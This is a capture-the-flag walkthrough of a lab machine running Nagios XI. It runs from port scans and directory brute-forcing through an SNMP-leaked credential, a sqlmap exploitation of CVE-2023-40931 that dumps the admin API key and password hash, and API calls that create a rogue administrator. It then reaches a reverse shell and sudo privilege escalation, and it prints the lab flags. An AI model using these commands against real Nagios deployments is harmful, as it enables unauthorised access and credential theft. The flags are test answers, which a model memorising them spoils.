Nmap Results
# Nmap 7.94SVN scan initiated Mon Jan 15 17:47:44 2024 as: nmap -Pn -p- -T4 -A -oN nmap.txt 10.10.11.248
Warning: 10.10.11.248 giving up on port because retransmission cap hit (6).
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.036s latency).
Not shown: 65414 closed tcp ports (reset), 116 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
| 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
443/tcp open ssl/http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn:
|_ http/1.1
|_http-title: Nagios XI
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after: 2297-08-25T21:46:55
|_ssl-date: TLS randomness does not represent time
5667/tcp open tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/15%OT=22%CT=1%CU=35092%PV=Y%DS=2%DC=T%G=Y%TM=65A5
OS:B782%P=x86_64-pc-linux-gnu)SEQ(CI=Z%TS=E)SEQ(SP=106%GCD=1%ISR=109%TI=Z%C
OS:I=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=C)SEQ(SP=108%GC
OS:D=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53
OS:CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%
OS:W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC
OS:=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=
OS:G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 33.58 ms 10.10.14.1
2 33.65 ms monitored.htb (10.10.11.248)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 15 17:53:54 2024 -- 1 IP address (1 host up) scanned in 370.03 seconds
# Nmap 7.94SVN scan initiated Mon Jan 15 15:32:59 2024 as: nmap -Pn -sU --top-ports 500 -T4 -oN nmap-udp.txt 10.10.11.248
Warning: 10.10.11.248 giving up on port because retransmission cap hit (6).
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.014s latency).
Not shown: 492 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
123/udp open ntp
139/udp open|filtered netbios-ssn
161/udp open snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
686/udp open|filtered hcp-wismar
30365/udp open|filtered unknown
# Nmap done at Mon Jan 15 15:42:19 2024 -- 1 IP address (1 host up) scanned in 559.52 seconds
Service Enumeration
TCP/80 & TCP/443
Looking at the nmap
output, the web server on tcp/80
redirects to https://nagios.monitored.htb
. This hostname is also present in the certificate data enumerated on tcp/443
.
Add a Hosts Entry
echo '10.10.11.248 monitored.htb nagios.monitored.htb' | sudo tee -a /etc/hosts
Explore the Site
Clicking the Access Nagios XI button redirects us to a login page. I did some Googling for default credentials for this service, but had no luck logging in. Need to enumerate some more.
Gobuster Enumeration
Site Root
gobuster dir -u https://nagios.monitored.htb/ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php,html,txt
/.htpasswd.txt (Status: 403) [Size: 286]
/.htaccess (Status: 403) [Size: 286]
/.htpasswd.php (Status: 403) [Size: 286]
/.htaccess.txt (Status: 403) [Size: 286]
/.htpasswd (Status: 403) [Size: 286]
/.htaccess.php (Status: 403) [Size: 286]
/.htpasswd.html (Status: 403) [Size: 286]
/.htaccess.html (Status: 403) [Size: 286]
/cgi-bin/.php (Status: 403) [Size: 286]
/cgi-bin/.html (Status: 403) [Size: 286]
/cgi-bin/ (Status: 403) [Size: 286]
/index.php (Status: 200) [Size: 3245]
/javascript (Status: 403) [Size: 286]
/nagios (Status: 401) [Size: 468]
/server-status (Status: 403) [Size: 286]
Application Root
gobuster dir -u https://nagios.monitored.htb/nagiosxi/ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php,html,txt
/.htpasswd.txt (Status: 403) [Size: 286]
/.htpasswd.html (Status: 403) [Size: 286]
/.htaccess (Status: 403) [Size: 286]
/.htaccess.php (Status: 403) [Size: 286]
/.htaccess.html (Status: 403) [Size: 286]
/.htaccess.txt (Status: 403) [Size: 286]
/.htpasswd (Status: 403) [Size: 286]
/.htpasswd.php (Status: 403) [Size: 286]
/about (Status: 200) [Size: 18495]
/account (Status: 200) [Size: 26755]
/admin (Status: 200) [Size: 26751]
/api (Status: 403) [Size: 286]
/backend (Status: 200) [Size: 108]
/config (Status: 200) [Size: 26753]
/db (Status: 403) [Size: 286]
/help (Status: 200) [Size: 26749]
/images (Status: 403) [Size: 286]
/includes (Status: 403) [Size: 286]
/index.php (Status: 200) [Size: 26737]
/install.php (Status: 200) [Size: 26737]
/login.php (Status: 200) [Size: 26575]
/mobile (Status: 200) [Size: 15978]
/reports (Status: 200) [Size: 26755]
/rr.php (Status: 200) [Size: 26575]
/sounds (Status: 403) [Size: 286]
/suggest.php (Status: 200) [Size: 27]
/terminal (Status: 200) [Size: 5215]
All of the pages with a HTTP 200
status redirect to the login page, so we'll definitely need a credential. The /terminal
page is interesting in that it provides what appears to be JavaScript CLI, but it too requires a credential.
API
gobuster dir -u https://nagios.monitored.htb/nagiosxi/api -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php,js
This initial scan of the /api
directory reveals that we have access to an /api/v1
subdirectory.
gobuster dir -u https://nagios.monitored.htb/nagiosxi/api/v1 -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -o gobuster.txt -t 100 -k -x php --exclude-length 32,268
I use the --excluede-length 32,268
option here to ignore false positives for pages that do not exist, but otherwise return a HTTP response code indicating they exist.
/authenticate (Status: 200) [Size: 53]
Again, however, back to the same problem. We do not have a credential to login. We need to hunt around some more.
More Enumeration
UDP/161
sudo nmap -Pn -sU -T4 -p161 -A -oN nagios-udp-snmp.txt nagios.monitored.htb
| 1566:
| Name: bash
| Path: /bin/bash
| Params: -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB
Testing the Credential
Nagios XI Login
The first thing I notice here is the error message is completely different than that of other failed logins.
That makes me think that the svc:XjH7VCehowpR1xZB
credential is likely valid, but cannot log into the web control panel.
API Login
So, now I need to figure out the proper syntax to authenticate to this API endpoint. I used this Google search query:
Which led me to a promising result: https://support.nagios.com/forum/viewtopic.php?p=310411#p310411
curl -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5000'
I tested my authentication token using the URL provided in the reply on that forum just to see if it would work; and to my surprise, it did!
This, then gave me the bright idea to try:
curl -x http://127.0.0.1:8080 -skL -X GET "https://nagios.monitored.htb/nagiosxi/index.php?token=$token"
We'll generate a new authentication token and echo the URL to the console. Then, take the URL and paste it into your browser.
token=$(curl -x http://127.0.0.1:8080 -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5000' | grep token | cut -d ':' -f 2 | sed -e 's/"//g' -e 's/\ //g' -e 's/,//g') && echo "https://nagios.monitored.htb/nagiosxi/index.php?token=$token"
Web Control Panel Enumeration
Now that we're authenticated to the web control panel, we can get a reliable version number to look for potential exploits.
I dug around in the control panel as the svc
user looking for any easy wins to get a reverse shell, but it seems like we'll need to pursue additional exploits as a credentialed user.
Of all the recent CVEs listed here, CVE-2023-40931
looks promising. The other SQL injection vulnerabilities require specific application privileges. If you click the CVE link, you can find a page with a brief summary of the vulnerability:
When a user acknowledges a banner, a POST request is sent to/nagiosxi/admin/banner_message-ajaxhelper.php
with the POST data consisting of the intended action and message ID –action=acknowledge banner message&id=3
.
The ID parameter is assumed to be trusted but comes directly from the client without sanitization. This leads to a SQL Injection where an authenticated user with low or no privileges can retrieve sensitive data, such as from thexi_session
andxi_users
table containing data such as emails, usernames, hashed passwords, API tokens, and backend tickets.
Exploit
SQL Injection
Manual Verification of Vulnerability
acknowledge banner message&id=3
, which would be encoded to acknowledge%20banner%20message&id=3
. This didn't seem to be a valid, since I wasn't getting any output from the script. So, I tried replacing the spaces with hyphens and underscores, which worked.Automate with sqlmap
The CVE overview doesn't provide any information on the type of SQL injection used. It does, however, provide some table names. Let's see if we can identify which database those tables belong to.
Looks like the xi_users
table — and likely the xi_session
table — is stored in the nagiosxi
database. Let's craft a sqlmap
command to see if we can dump those tables.
# --proxy : Send all requests through Burp (good for logging too)
# -u : The URL identified in the CVE with identified corrections
# --cookie : The nagiosxi cookie as retrieved from your browser
# --drop-set-cookie : Ignore any attempts by the server to set a new cookie
# -p : Attack the 'id' parameter per the CVE
# -D : Target the 'nagiosxi' databse
# -T : Target the 'xi_users' and 'xi_session' tables
# --dump-all : Dump all data
# --dbms : Specify 'MariaDB' as idenitified in the SQL error
# --threads : Use the max number of threads, which is 10
# --batch : Use the default selections for any prompts
sqlmap --proxy="http://127.0.0.1:8080" \
-u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3" \
--cookie "nagiosxi=1fs6k61nmlkhqkqcoem38n3ihm" \
--drop-set-cookie \
-p id \
-D nagiosxi \
--dump : Dump the specified tables\
--dbms 'MariaDB' \
--threads 10 \
--batch
cat ~/.local/share/sqlmap/output/nagios.monitored.htb/dump/nagiosxi/xi_users.csv | head -n 2
user_id,email,name,api_key,enabled,password,username,created_by,last_login,api_enabled,last_edited,created_time,last_attempt,backend_ticket,last_edited_by,login_attempts,last_password_change
1,admin@monitored.htb,Nagios Administrator,IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL,1,$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C,nagiosadmin,0,1701931372,1,1701427555,0,1705452552,IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0,5,6,1701427555
Among the output, we can see the admin user's API key and password hash. In my testing, the password hash is not in the rockyou.txt
wordlist. However, we can likely use the API key to our advantage.
Abusing the API Key
Create a New Admin User
There should be a way to add a new user via the REST API, and hopefully in a way that allows administrator access to Nagios web control panel
This thread on the Nagios support forums shows a person trying to add a user via the API using an auth_level=user
parameter. So in theory, there should be a auth_level=admin
option as well.
Get a List of Users
This will allow us to see which parameters we should pass when creating our new user.
curl -skL -X GET 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1
Create the New User
curl -skL -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d 'username=pwnz&password=pwnz&name=pwnage&email=pwnz@localhost.local&auth_level=admin'
Log in as the New User
Reverse Shell via Core Config Manager Commands
Using this Google search, I came across this thread on the Nagios support forum. It is a PDF document that shows you how to create a command that can be run on any host registered in Nagios XI.
Upgrade Our Shell
Post-Exploit Enumeration
Operating Environment
OS & Kernel
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64 GNU/Linux
Current User
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
Users and Groups
Local Users
svc:x:1000:1000:svc,,,:/home/svc:/bin/bash
nagios:x:1001:1001::/home/nagios:/bin/bash
Local Groups
cdrom:x:24:svc
floppy:x:25:svc
audio:x:29:svc
dip:x:30:svc
video:x:44:svc
plugdev:x:46:svc
netdev:x:108:svc
bluetooth:x:112:svc
svc:x:1000:
nagios:x:1001:nagios,www-data,snmptt
nagcmd:x:1002:nagios,www-data,snmptt
Network Configurations
Network Interfaces
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:d7:2b brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.248/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:d72b/64 scope global dynamic mngtmpaddr
valid_lft 86398sec preferred_lft 14398sec
inet6 fe80::250:56ff:feb9:d72b/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:7878 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:5432 :::* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
Processes and Services
Interesting Processes
root 569 0.0 0.0 2480 500 ? Ss 11:22 0:00 /bin/sh -c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB
Interesting Files
Interesting File 1
Privilege Escalation
After a lengthy amount of enumeration, the path to privilege escalation was apparently one of the sudo
permissions. Looking at the choices we have for various sudo
commands, it was a matter of finding any kind of vulnerabilities with the scripts or their dependences.
cat /usr/local/nagiosxi/scripts/manage_services.sh
We have a choice between several Systemd
services, it's just a matter of finding any files that might be writable by us.
listen
is just an alias for sudo rlwrap nc -lnvp
on my Kali box.Flags
User
0c34a29317626ab3fb8c0369f37e75c7
Root
18feb7f0c3dbcdc2bf65fba4ad6212ef